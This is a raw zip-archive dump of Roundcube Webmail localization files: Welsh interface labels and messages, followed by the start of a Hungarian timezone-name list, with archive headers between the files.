$labels['replyalldefault'] = 'ymateb i bawb';
$labels['replyalllist'] = 'ymateb i\'r rhestr trafod yn unig (os canfuwyd)';
$labels['allmessages'] = 'pob neges';
$labels['olderxdays'] = 'hynach na $x diwrnod';
$labels['folder'] = 'Ffolder';
$labels['folders'] = 'Ffolderi';
$labels['foldername'] = 'Enw ffolder';
$labels['subscribed'] = 'Tanysgrifwyd';
$labels['messagecount'] = 'Negeseuon';
$labels['create'] = 'Creu';
$labels['createfolder'] = 'Creu ffolder newydd';
$labels['managefolders'] = 'Rheoli ffolderi';
$labels['specialfolders'] = 'Ffolderi arbennig';
$labels['properties'] = 'Nodweddion';
$labels['folderproperties'] = 'Ffolder nodweddion';
$labels['parentfolder'] = 'Ffolder uwchben';
$labels['location'] = 'Lleoliad';
$labels['info'] = 'Gwybodaeth';
$labels['getfoldersize'] = 'Cliciwch i gael maint ffolder';
$labels['changesubscription'] = 'Cliciwch i newid y tanysgrifiad';
$labels['foldertype'] = 'Math Ffolder';
$labels['personalfolder'] = 'Ffolder Preifat';
$labels['otherfolder'] = 'Ffolder Defnyddiwr Arall';
$labels['sharedfolder'] = 'Ffolder Cyhoeddus';
$labels['findfolders'] = 'Canfod ffolderi';
$labels['findcontacts'] = 'Canfod cysylltiadau';
$labels['findmail'] = 'Canfod negeseuon ebost';
$labels['namespace.personal'] = 'Persono';
$labels['namespace.other'] = 'Defnyddwyr arall';
$labels['namespace.shared'] = 'Rhannwyd';
$labels['dualuselabel'] = 'Gall gynnwys yn unig';
$labels['dualusemail'] = 'negeseuon';
$labels['dualusefolder'] = 'ffolder';
$labels['generate'] = 'Cynhyrchu';
$labels['encryptioncreatekey'] = 'Creu pâr allweddi newydd';
$labels['openmailvelopesettings'] = 'Agor Gosodiadau Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Mae gennych $nr allwedd preifat cyfatebol wedi eu storio yn eich cylch allwedd Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Nid oes gan y anfonwr hwn allwedd preifat PGP wedi ei storio yn eich estyniad Mailvelope. Hoffech chi greu un er mwyn ei ddefnyddio i anfon negeseuon wedi eu amgryptio?';
$labels['encryption'] = 'Amgryptiad';
$labels['mailvelopeoptions'] = 'Dewisiadau Mailvelope';
$labels['mailvelopemainkeyring'] = 'Defnyddio prif gylch allweddi Mailvelope';
$labels['mailvelopenotfound'] = 'Nid yw\'r estyniad Mailvelope ar gael/wedi ei osod yn eich porwr';
$labels['sortby'] = 'Trefnu yn ôl';
$labels['sortasc'] = 'Trefn esgynnol';
$labels['sortdesc'] = 'Trefn ddisgynnol';
$labels['undo'] = 'Dad-wneud';
$labels['installedplugins'] = 'Ategynnau wedi eu gosod';
$labels['plugin'] = 'Ategyn';
$labels['version'] = 'Fersiwn';
$labels['source'] = 'Ffynhonnell';
$labels['destination'] = 'Cyrchfan';
$labels['license'] = 'Trwydded';
$labels['support'] = 'Gofyn am gymorth';
$labels['savedsearches'] = 'Chwiliadau wedi cadw';
$labels['dateformatY'] = 'BBBB';
$labels['dateformaty'] = 'BB';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Saesneg';
$labels['westerneuropean'] = 'Gorllewin Ewropeaidd';
$labels['easterneuropean'] = 'Dwyrain Ewropeaidd';
$labels['southeasterneuropean'] = 'De-Ddwyrain Ewropeaidd';
$labels['baltic'] = 'Baltig';
$labels['cyrillic'] = 'Cyrilig';
$labels['arabic'] = 'Arabeg';
$labels['greek'] = 'Groegaidd';
$labels['hebrew'] = 'Hebraeg';
$labels['turkish'] = 'Twrceg';
$labels['nordic'] = 'Nordeg';
$labels['thai'] = 'Thai';
$labels['celtic'] = 'Celtaidd';
$labels['vietnamese'] = 'Fietnamaidd';
$labels['japanese'] = 'Japaneaidd';
$labels['korean'] = 'Corëeg';
$labels['chinese'] = 'Tsieineaidd';
$labels['arialabeltopnav'] = 'Rheolaeth ffenest';
$labels['arialabeltasknav'] = 'Tasgiau rhaglen';
$labels['arialabeltoolbar'] = 'Bar offer y rhaglen';
$labels['arialabellistnav'] = 'Llywio rhestr';
$labels['arialabelactivetask'] = 'Tasg gweithredol';
$labels['arialabelmessagessearchfilter'] = 'Hidlydd rhestr ebost';
$labels['arialabelmailsearchform'] = 'Ffurflen chwilio neges ebost';
$labels['arialabelcontactsearchform'] = 'Ffurflen chwilio cysylltiadau';
$labels['arialabelmailquicksearchbox'] = 'Mewnbwn chwilio ebost';
$labels['arialabelquicksearchbox'] = 'Mewnbwn chwilio';
$labels['arialabelfoldersearchfilter'] = 'Hidlydd rhestr ffolderi';
$labels['arialabelfoldersearchform'] = 'Ffurflen chwilio ffolderi';
$labels['arialabelfolderlist'] = 'Dewis ffolderi ebost';
$labels['arialabelmessagelist'] = 'Rhestr Negeseuon Ebost';
$labels['arialabelmailpreviewframe'] = 'Rhagolwg neges';
$labels['arialabelmailboxmenu'] = 'Bwydlen gweithrediadau ffolder';
$labels['arialabellistselectmenu'] = 'Bwydlen dewis rhestr';
$labels['arialabelthreadselectmenu'] = 'Bwydlen rhestr edefynnau';
$labels['arialabelmessagelistoptions'] = 'Dewisiadau dangos a trefnu rhestr negeseuon';
$labels['arialabelmailimportdialog'] = 'Deialog mewnforio negeseuon';
$labels['arialabelmessagenav'] = 'Llywio neges';
$labels['arialabelmessagebody'] = 'Corff Neges';
$labels['arialabelmessageactions'] = 'Gweithrediadau neges';
$labels['arialabelcontactquicksearch'] = 'Ffurflen chwilio cysylltiadau';
$labels['arialabelcontactsearchbox'] = 'Mewnbwn chwilio cyswllt';
$labels['arialabelmessageheaders'] = 'Pennynau neges';
$labels['arialabelforwardingoptions'] = 'Dewisiadau anfon ymlaen';
$labels['arialabelreplyalloptions'] = 'Dewisiadau ymateb i bawb';
$labels['arialabelmoremessageactions'] = 'Mwy o weithrediadau neges';
$labels['arialabelmorecontactactions'] = 'Mwy o weithreoedd cyswllt';
$labels['arialabelmarkmessagesas'] = 'Nodi y negeseuon dewiswyd fel...';
$labels['arialabelcomposeoptions'] = 'Dewisiadau ysgrifennu';
$labels['arialabelresponsesmenu'] = 'Bwydlen ymatebion parod';
$labels['arialabelattachmentuploadform'] = 'Ffurflen lanlwytho atodiad';
$labels['arialabelattachmentmenu'] = 'Dewisiadau atodiad';
$labels['arialabelmailtomenu'] = 'Dewisiadau cyfeiriad ebost';
$labels['arialabelattachmentpreview'] = 'Rhagolwg atodiad';
$labels['ariasummarycomposecontacts'] = 'Rhestr o gysylltiadau a grwpiau i ddewis fel derbynwyr';
$labels['arialabelcontactexportoptions'] = 'Dewisiadau allforio cysylltiadau';
$labels['arialabelabookgroupoptions'] = 'Dewisiadau grŵp/llyfr cyfeiriadau';
$labels['arialabelpreferencesform'] = 'Ffurflen dewisiadau';
$labels['arialabelidentityeditfrom'] = 'Ffurflen golygu personoliaeth';
$labels['arialabelresponseeditfrom'] = 'Ffurflen golygu ymateb';
$labels['arialabelsearchterms'] = 'Chwilio termau';
$labels['arialabeldropactionmenu'] = 'Bwydlen Llusgo-a-Gollwng';
$labels['arialabelheadersmenu'] = 'Bwydlen ychwanegu derbynnydd (pennawd)';
$labels['arialabelimagetools'] = 'Teclynnau delwedd';
$labels['helplistnavigation'] = 'Rhestru llywio bysellfwrdd';
$labels['helplistkeyboardnavigation'] = "Saeth fyny/lawr: Symud dewis/ffocws dan sylw.
Bwlch: Dewis rhes dan sylw.
Shift + fyny/lawr; Dewis rhes ychwanegol uwchben/islaw.
Ctrl + Bwlch: Ychwanegu rhes dan sylw i'r dewis/dileu o'r dewis.";
$labels['helplistkeyboardnavmessages'] = "Saeth dde/chwith: ehangu/crebachu edefyn neges (yn modd edefynnau yn unig).
Enter: Agor y neges dewiswyd/dan sylw.
Delete: Symud y negeseuon dewiswyd i'r Sbwriel.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Agor y cyswllt dewiswyd/dan sylw.";
PK
h�\����F�F'program/localization/cy_GB/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Cafwyd gwall!';
$messages['loginfailed']  = 'Methwyd mewngofnodi.';
$messages['cookiesdisabled'] = 'Nid yw eich porwr yn derbyn cwcis.';
$messages['sessionerror'] = 'Mae\'r sesiwn yn anghywir neu wedi dod i ben.';
$messages['cookiesmismatch'] = 'Gwelwyd camgymhariad cwci. Cliriwch y cwcis yn eich porwr os gwelwch yn dda.';
$messages['storageerror'] = 'Methwyd cysylltu a\'r gweinydd storfa.';
$messages['servererror'] = 'Gwall Gweinydd!';
$messages['servererrormsg'] = 'Gwall Gweinydd: $msg';
$messages['accountlocked'] = 'Gormod o geisiadau i fewngofnodi wedi methu. Triwch eto nes ymlaen.';
$messages['connerror'] = 'Gwall Cysylltiad (Methwyd cysylltu a\'r gweinydd)!';
$messages['dberror'] = 'Gwall Cronfa Ddata!';
$messages['dbconnerror'] = 'Methwyd cysylltu a\'r gronfa ddata"';
$messages['windowopenerror'] = 'Fe ataliwyd y ffenest naid!';
$messages['requesttimedout'] = 'Cais wedi dod i derfyn amser';
$messages['errorreadonly'] = 'Methwyd gweithredu. Mae\'r ffolder yn darllen-yn-unig';
$messages['errornoperm'] = 'Methwyd gweithredu. Gwrthodwyd caniatad';
$messages['erroroverquota'] = 'Methwyd gweithredu. Nid oes gofod gwag ar y disg.';
$messages['erroroverquotadelete'] = 'Dim gofod gwag ar y disg. Defnyddiwch SHIFT+DEL i ddileu neges.';
$messages['invalidrequest'] = 'Cais annilys! Ni chadwyd unrhyw wybodaeth.';
$messages['invalidhost'] = 'Enw gweinydd annilys.';
$messages['nomessagesfound'] = 'Dim negeseuon wedi eu canfod yn y blwch hwn';
$messages['loggedout'] = 'Rydych wedi cau\'r sesiwn yn llwyddiannus. Hwyl fawr!';
$messages['mailboxempty'] = 'Mae\'r blwch yn wag';
$messages['nomessages'] = 'Dim negeseuon';
$messages['refreshing'] = 'Yn adnewyddu...';
$messages['loading'] = 'Yn llwytho...';
$messages['uploading'] = 'Yn llwytho ffeil i fyny...';
$messages['attaching'] = 'Yn atodi ffeil...';
$messages['uploadingmany'] = 'Yn llwytho fyny ffeiliau...';
$messages['loadingdata'] = 'Yn llwytho data...';
$messages['checkingmail'] = 'Yn edrych am negeseuon newydd...';
$messages['sendingmessage'] = 'Yn danfon neges...';
$messages['messagesent'] = 'Danfonwyd y neges yn llwyddiannus';
$messages['savingmessage'] = 'Yn cadw neges...';
$messages['messagesaved'] = 'Cadwyd neges i\'r Drafftiau';
$messages['successfullysaved'] = 'Cadwyd yn llwyddiannus';
$messages['savingresponse'] = 'Yn cadw testun ymateb...';
$messages['deleteresponseconfirm'] = 'Ydych chi wir am ddileu y testun ymateb hwn?';
$messages['nocontactselected'] = 'Nid ydych wedi dewis cyswllt eto.';
$messages['addedsuccessfully'] = 'Cyswllt wedi ei ychwanegu i\'r llyfr cyfeiriadau yn llwyddiannus';
$messages['contactexists'] = 'Mae cyswllt gyda\'r cyfeiriad e-bost yma yn bodoli\'n barod';
$messages['contactnameexists'] = 'Mae cyswllt gyda\'r un enw yn bodoli yn barod.';
$messages['blockedimages'] = 'I amddiffyn eich preifatrwydd, fe ataliwyd lluniau allanol yn y neges yma.';
$messages['blockedresources'] = 'I amddiffyn eich preifatrwydd, mae adnoddau allanol wedi eu atal.';
$messages['suspiciousemail'] = 'Mae\'r neges hwn yn cynnwys cyfeiriadau ebost amheus a allai fod yn dwyllodrus.';
$messages['bccemail'] = 'Mae\'r neges(euon) anfonwyd ymlaen yn cynnwys derbynnwyr cyfrinachol (Bcc)';
$messages['bouncehint'] = 'Anfonir y neges hwn heb newidiadau, h.y. yn defnyddio corff y neges wreiddiol, penawdau a derbynnwyr.';
$messages['encryptedmessage'] = 'Mae hon yn neges amgryptedig a felly ni ellir ei ddangos. Flin iawn!';
$messages['externalmessagedecryption'] = 'Mae hon yn neges amgryptedig a gall ei ddadgryptio gyda estyniad eich porwr.';
$messages['nopubkeyfor'] = 'Ni chafwyd hyd i allwedd cyhoeddus dilys ar gyfer $email';
$messages['nopubkeyforsender'] = 'Ni chafwyd hyd i allwedd cyhoeddus dilys ar gyfer eich personoliaeth anfon. Ydych am amgryptio y neges ar gyfer y derbynwyr yn unig?';
$messages['encryptnoattachments'] = 'Nid yw\'n bosib amgryptio atodiadau wedi uwchlwytho yn barod. Ychwanegwch nhw eto yn y golygydd amgryptio.';
$messages['searchpubkeyservers'] = 'Hoffech chi chwilio y gweinyddwyr allweddi cyhoeddus ar gyfer yr allweddi sy ar goll?';
$messages['encryptpubkeysfound'] = 'Cafwyd hyd i\'r allweddi cyhoeddus canlynol:';
$messages['keyservererror'] = 'Methwyd cael yr allwedd o\'r gweinydd allweddi.';
$messages['keyimportsuccess'] = 'Mewnforiwyd yr allwedd cyhoeddus $key i\'ch cylch allweddi yn llwyddiannus';
$messages['nocontactsfound'] = 'Ni gafwyd hyd i unrhyw gysylltiadau';
$messages['contactnotfound'] = 'Ni gafwyd hyd i\'r cysylltiad gofynnwyd amdano';
$messages['contactsearchonly'] = 'Rhaid i chi ddefnyddio\'r ffurflen chwilio i weld cysylltiadau o\'ch llyfr cyfeiriadau dewisol.';
$messages['sendingfailed'] = 'Methwyd danfon y neges';
$messages['senttooquickly'] = 'Arhoswch $sec eiliad cyn danfon y neges';
$messages['errorsavingsent'] = 'Fe gafwyd gwall wrth gadw\'r neges ddanfonwyd.';
$messages['errorsaving'] = 'Fe gafwyd gwall wrth gadw';
$messages['errormoving'] = 'Methwyd symud y neges';
$messages['errorcopying'] = 'Methwyd copïo\'r neges(euon)';
$messages['errordeleting'] = 'Methwyd dileu y neges';
$messages['errormarking'] = 'Methwyd nodi y neges';
$messages['alerttitle'] = 'Rhybudd';
$messages['confirmationtitle'] = 'Ydych chi\'n siwr...';
$messages['deletecontactconfirm']  = 'Ydych chi wir am ddileu y cysylltiadau ddewiswyd?';
$messages['deletegroupconfirm']  = 'Ydych chi wir am ddileu\'r grŵp dewiswyd?';
$messages['deletemessagesconfirm'] = 'Ydych chi wir am ddileu y neges(euon) ddewiswyd?';
$messages['deletefolderconfirm']  = 'Ydych chi wir am ddileu y ffolder yma?';
$messages['movefolderconfirm']  = 'Ydych chi wir am symud y ffolder hwn?';
$messages['purgefolderconfirm']  = 'Ydych chi wir am ddileu yr holl negeseuon yn y ffolder yma?';
$messages['contactdeleting'] = 'Dileu cyswllt/cysylltiadau...';
$messages['groupdeleting'] = 'Yn dileu grŵp...';
$messages['folderdeleting'] = 'Yn dileu ffolder...';
$messages['foldermoving'] = 'Yn symud ffolder...';
$messages['foldersubscribing'] = 'Yn tanysgrifio i\'r ffolder...';
$messages['folderunsubscribing'] = 'Yn dad-danysgrifio i\'r ffolder...';
$messages['formincomplete'] = 'Nid oedd y ffurflen wedi ei gwblhau yn llawn';
$messages['noemailwarning'] = 'Rhowch gyfeiriad e-bost dilys';
$messages['nonamewarning']  = 'Rhowch enw';
$messages['nopagesizewarning'] = 'Rhowch maint tudalen';
$messages['nosenderwarning'] = 'Rhowch gyfeiriad e-bost y danfonwr';
$messages['recipientsadded'] = 'Ychwanegwyd derbynnydd/wyr yn llwyddiannus.';
$messages['norecipientwarning'] = 'Rhowch o leiaf un derbynnydd';
$messages['disclosedrecipwarning'] = 'Fe fydd pob derbynnydd yn gweld cyfeiriadau ebost pawb arall. I atal hyn ac amddiffyn eu preifatrwydd rhaid i chi ddefnyddio\'r maes Bcc.';
$messages['disclosedreciptitle'] = 'Gormod o dderbynnwyr cyhoeddus';
$messages['nosubjectwarning']  = 'Mae\'r pennawd "Pwnc" yn wag. Hoffech chi roi un fewn nawr?';
$messages['nosubjecttitle']  = 'Dim pwnc';
$messages['nobodywarning'] = 'Danfon y neges hwn heb destun?';
$messages['notsentwarning'] = 'Nid yw\'r neges wedi ei ddanfon a mae ganddo newidiadau heb ei gadw. Hoffech chi gael gwared a\'r newidiadau?';
$messages['restoresavedcomposedata'] = 'Cafwyd hyd i neges wedi ei ysgrifennu o\'r blaen ond heb ei ddanfon.\n\nPwnc: $subject\nCadwyd: $date\n\nYdych chi am adfer y neges?';
$messages['nosearchname'] = 'Rhowch enw cyswllt neu gyfeiriad e-bost';
$messages['notuploadedwarning'] = 'Nid yw pob atodiad wedi eu llwytho i fyny eto. Triwch eto neu canslo.';
$messages['searchsuccessful'] = 'Cafwyd hyd i $nr neges';
$messages['contactsearchsuccessful'] = 'Canfuwyd $nr cyswllt.';
$messages['searchnomatch'] = 'Ni gafwyd hyd i unrhyw ganlyniadau chwilio';
$messages['searching'] = 'Yn chwilio...';
$messages['checking'] = 'Yn gofyn...';
$messages['stillsearching'] = 'Dal i chwilio...';
$messages['nospellerrors'] = 'Ni gafwyd hyd i unrhyw wallau gwirio';
$messages['folderdeleted'] = 'Dilëwyd y ffolder yn llwyddiannus';
$messages['foldersubscribed'] = 'Ffolder wedi ei danysgrifio yn llwyddiannus';
$messages['folderunsubscribed'] = 'Ffolder wedi ei ddad-danysgrifio yn llwyddiannus';
$messages['folderpurged'] = 'Gwagiwyd y ffolder yn llwyddiannus.';
$messages['folderexpunged'] = 'Cywasgwyd y ffolder yn llwyddiannus.';
$messages['deletedsuccessfully'] = 'Dilëwyd yn llwyddiannus';
$messages['converting'] = 'Yn cael gwared a\'r fformatio...';
$messages['messageopenerror'] = 'Methwyd llwytho\'r neges o\'r gweinydd';
$messages['filelinkerror'] = 'Methwyd atodi\'r ffeil.';
$messages['fileuploaderror'] = 'Methwyd llwytho\'r ffeil i fyny';
$messages['csvfilemismatch'] = 'Nid oes cefnogaeth i fewnforio nifer o ffeiliau CSV gyda meysydd gwahanol.';
$messages['filesizeerror'] = 'Mae\'r ffeil a lwythyd fyny yn fwy na\'r maint uchaf ganiateir o $size';
$messages['filecounterror'] = 'Cewch chi ddim ond llwytho fyny $count files ar unwaith.';
$messages['msgsizeerror'] = 'Methwyd atodi ffeil. Roedd maint y neges ($size) yn rhy fawr.';
$messages['msgsizeerrorfwd'] = 'Mae maint y neges wedi mynd yn fyw na\'r uchafswm ($size). Nid yw $num neges(euon) wedi ei atodi.';
$messages['copysuccess'] = 'Copïwyd $nr cyswllt yn llwyddiannus';
$messages['movesuccess'] = 'Symudwyd $nr cyswllt yn llwyddiannus.';
$messages['copyerror'] = 'Methwyd copïo unrhyw gysylltiadau.';
$messages['moveerror'] = 'Methwyd symud unrhyw gysylltiadau.';
$messages['sourceisreadonly'] = 'Mae ffynhonnell y cyfeiriadau i\'w ddarllen yn unig';
$messages['errorsavingcontact'] = 'Methwyd cadw cyfeiriad y cyswllt';
$messages['movingmessage'] = 'Yn symud neges...';
$messages['copyingmessage'] = 'Yn copïo\'r neges';
$messages['copyingcontact'] = 'Yn copïo cyswllt/cysylltiadau...';
$messages['movingcontact'] = 'Yn symud cyswllt/cysylltiadau...';
$messages['deletingmessage'] = 'Yn dileu neges(euon)...';
$messages['markingmessage'] = 'Yn marcio neges(euon)...';
$messages['addingmember'] = 'Yn ychwanegu cyswllt/cysylltiadau i\'r grŵp...';
$messages['removingmember'] = 'Yn dileu cyswllt/cysylltiadau o\'r grŵp...';
$messages['receiptsent'] = 'Danfonwyd cadarnhad derbyn yn llwyddiannus';
$messages['errorsendingreceipt'] = 'Methwyd danfon cadarnhad derbyn';
$messages['deleteidentityconfirm'] = 'Ydych chi wir am ddileu\'r personoliaeth hwn?';
$messages['nodeletelastidentity'] = 'Allwch chi ddim dileu\'r personoliaeth yma, hwn yw\'r un olaf.';
$messages['forbiddencharacter'] = 'Mae enw\'r ffolder yn cynnwys llythyren annerbynniol';
$messages['selectimportfile'] = 'Dewiswch ffeil i\'w lwytho fyny';
$messages['addresswriterror'] = 'Nid yw\'n bosib ysgrifennu i\'r llyfr cyfeiriadau';
$messages['contactaddedtogroup'] = 'Ychwanegwyd y cysylltiadau i\'r grŵp yma yn llwyddiannus';
$messages['contactremovedfromgroup'] = 'Dilëwyd y cysylltiadau o\'r grŵp yma yn llwyddiannus';
$messages['nogroupassignmentschanged'] = 'Ni newidwyd aseiniadiau grŵp.';
$messages['importwait'] = 'Yn mewnforio, arhoswch os gwelwch yn dda...';
$messages['importformaterror'] = 'Methwyd mewnforio! Nid yw\'r ffeil a lwythwyd yn ffeil ddata dilys.';
$messages['importconfirm'] = '<b>Fe mewnforiwyd $inserted cyswllt yn llwyddiannus, anwybyddwyd $skipped cofnod presennol</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>Neidiwyd $skipped cofnod oedd yn bodoli</b>';
$messages['importmessagesuccess'] = 'Mewnforiwyd $nr neges yn llwyddiannus';
$messages['importmessageerror'] = 'Methwyd mewnforio! Nid yw\'r ffeil a lwythwyd yn ffeil neges neu blwch ebost dilys';
$messages['opnotpermitted'] = 'Ni chaniateir y weithred!';
$messages['nofromaddress'] = 'Cyfeiriad e-bost ar goll yn y personoliaeth a ddewiswyd';
$messages['editorwarning'] = 'Fe allai newid math y golygydd testun olygu byddwch yn colli unrhyw arddulliau yn eich testun? Hoffech chi barhau?';
$messages['httpreceivedencrypterror'] = 'Fe gafwyd gwall angheuol yn y ffurfweddiad. Cysylltwch â\'ch gweinyddwr ar unwaith. <b>Nid oedd yn bosib dangos eich neges.</b>';
$messages['smtpconnerror'] = 'Gwall SMTP ($code): Methwyd cysylltu a\'r gweinydd';
$messages['smtpautherror'] = 'Gwall SMTP ($code): Methwyd dilysu\'r cyfrif';
$messages['smtpfromerror'] = 'Gwall SMTP ($code): Methwyd gosod y danfonwr "$from" ($msg)';
$messages['smtptoerror'] = 'Gwall SMTP ($code): Methwyd ychwanegu derbynwr "$to" ($msg)';
$messages['smtprecipientserror'] = 'Gwall SMTP: Nid oedd yn bosib darllen y rhestr o dderbynnwyr';
$messages['smtputf8error'] = 'Gwall SMTP: Nid yw\'r gweinydd yn cefnogi Unicode mewn cyfeiriadau ebost.';
$messages['smtpsizeerror'] = 'Gwall SMTP: Mae maint y neges yn fwy na cyfyngiad y gweinydd ($limit)';
$messages['smtperror'] = 'Gwall SMTP: $msg';
$messages['emailformaterror'] = 'Cyfeiriad e-bost anghywir: $email';
$messages['toomanyrecipients'] = 'Gormod o dderbynnwyr. Lleihewch y nifer i $max';
$messages['maxgroupmembersreached'] = 'Mae nifer o aelodau\'r grŵp yn fwy na\'r uchafswm o $max';
$messages['internalerror'] = 'Fe gafwyd gwall mewnol. Rhowch gynnig arni eto.';
$messages['contactdelerror'] = 'Methwyd dileu cyswllt';
$messages['contactdeleted'] = 'Cyswllt wedi ei ddileu yn llwyddiannus';
$messages['contactrestoreerror'] = 'Methwyd adfer y cyswllt/cysylltiadau a ddilëwyd';
$messages['contactrestored'] = 'Adferwyd y cyswllt/cysylltiadau';
$messages['groupdeleted'] = 'Grŵp wedi ei ddileu yn llwyddiannus';
$messages['grouprenamed'] = 'Grŵp wedi ei ailenwi yn llwyddiannus';
$messages['groupcreated'] = 'Grŵp wedi ei greu yn llwyddiannus';
$messages['savedsearchdeleted'] = 'Dilëwyd y chwiliad yn llwyddiannus.';
$messages['savedsearchdeleteerror'] = 'Methwyd dileu y chwiliad.';
$messages['savedsearchcreated'] = 'Crëwyd y chwiliad yn llwyddiannus.';
$messages['savedsearchcreateerror'] = 'Methwyd creu y chwiliad.';
$messages['messagedeleted'] = 'Neges(euon) wedi eu dileu yn llwyddiannus';
$messages['messagemoved'] = 'Neges(euon) wedi eu symud yn llwyddiannus';
$messages['messagemovedtotrash'] = 'Neges(euon) wedi eu symud i\'r Sbwriel yn llwyddiannus';
$messages['messagecopied'] = 'Neges(euon) wedi eu copïo yn llwyddiannus';
$messages['messagemarked'] = 'Neges(euon) wedi eu marcio yn llwyddiannus';
$messages['autocompletechars'] = 'Rhowch o leia $min llythyren ar gyfer awto-gwblhau';
$messages['autocompletemore'] = 'Canfuwyd mwy o gofnodion sy\'n cyfateb. Teipiwch fwy o lythrennau.';
$messages['namecannotbeempty'] = 'Ni all yr enw fod yn wag';
$messages['nametoolong'] = 'Mae\'r enw yn rhy hir';
$messages['namedotforbidden'] = 'Ni all enw ffolder gychwyn gyda dot.';
$messages['folderupdated'] = 'Diweddarwyd y ffolder yn llwyddiannus';
$messages['foldercreated'] = 'Crëwyd y ffolder yn llwyddiannus';
$messages['invalidimageformat'] = 'Ddim yn fformat llun dilys.';
$messages['mispellingsfound'] = 'Gwelwyd camsillafu yn y neges.';
$messages['parentnotwritable'] = 'Methwyd creu/symud ffolder i\'r ffolder rhiant ddewiswyd. Dim hawl mynediad.';
$messages['messagetoobig'] = 'Mae darn y neges yn rhy fawr i\'w brosesu.';
$messages['attachmentvalidationerror'] = 'Mae\'r atodiad yn amheus am nad yw ei fath yn cyfateb i\'r math a ddatganir yn y neges. Os nad ydych chi\'n ymddiried yn y danfonwr, ni ddylech chi agor hwn yn eich porwr - galla\'i fod cynnwys maleisus ynddo.<br/><br/><em>Disgwylid: $expected; canfuwyd: $detected</em>';
$messages['noscriptwarning'] = 'Rhybudd: Mae\'r gwasanaeth gwebost angen Javascript i weithio! Er mwyn ei ddefnyddio, galluogwch Javascript yng ngosodiadau eich porwr.';
$messages['messageissent'] = 'Mae\'r neges wedi ei anfon, ond heb ei gadw eto. Hoffech chi ei gadw nawr?';
$messages['errnotfound'] = 'Ni Ganfuwyd y Ffeil';
$messages['errnotfoundexplain'] = 'Ni gafwyd hyd i\'r adnodd ofynnwyd amdano';
$messages['errfailedrequest'] = 'Methodd y cais';
$messages['errauthorizationfailed'] = 'Methiant Awdurdodi';
$messages['errunauthorizedexplain'] = 'Methwyd gwirio eich bod wedi\'ch awdurdodi i gael mynediad i\'r gwasanaeth!';
$messages['errrequestcheckfailed'] = 'Methiant Gwiriad Cais';
$messages['errcsrfprotectionexplain'] = "Er eich diogelwch, mae mynediad i'r adnodd hwn wedi ei ddiogelu yn erbyn CSRF.\nOs ydych yn gweld hwn, mae'n debyg na wnaethoch chi allgofnodi cyn gadael yr ap gwe.\n\nMae'n rhaid gwirio nawr cyn parhau.";
$messages['errcontactserveradmin'] = 'Cysylltwch a rheolwr eich gweinydd.';
$messages['clicktoresumesession'] = 'Cliciwch yma i ail-ddechrau eich sesiwn blaenorol';
$messages['errcomposesession'] = 'Gwall sesiwn ysgrifennu';
$messages['errcomposesessionexplain'] = 'Ni gafwyd hyd i\'r sesiwn ysgrifennu gofynnwyd amdano';
$messages['clicktocompose'] = 'Cliciwch yma i ysgrifennu neges newydd';
$messages['nosupporterror'] = 'Nid yw\'r nodwedd hwn wedi eu gefnogi gan eich porwr gwe.';
$messages['siginserted'] = 'Mewnosodwyd y llofnod yn llwyddiannus.';
$messages['responseinserted'] = 'Mewnosodwyd yr ymateb yn llwyddiannus.';
$messages['noresponsesavailable'] = 'Dim ymatebion ar gael';
$messages['listempty'] = 'Mae\'r rhestr yn wag.';
$messages['listusebutton'] = 'Defnyddiwch y botwm Creu i ychwanegu cofnod newydd.';
$messages['keypaircreatesuccess'] = 'Creuwyd pâr allwedd newydd yn llwyddiannus ar gyfer $identity.';
$messages['emptyattachment'] = 'Mae\'n ymddangos fod yr atodiad hwn yn wag.<br>Gwiriwch hwn gyda\'r person a ddanfonodd y neges.';
$messages['oauthloginfailed'] = 'Methwyd mewngofnodi OAuth. Rhowch gynnig arall arni.';
PK
h�\��[s�N�N(program/localization/hu_HU/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Accra';
$labels['tz:africa:addis_ababa'] = 'Addis Ababa';
$labels['tz:africa:algiers'] = 'Algír';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Kairó';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Conakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salaam';
$labels['tz:africa:djibouti'] = 'Dzsibuti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El Aaiun';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Juba';
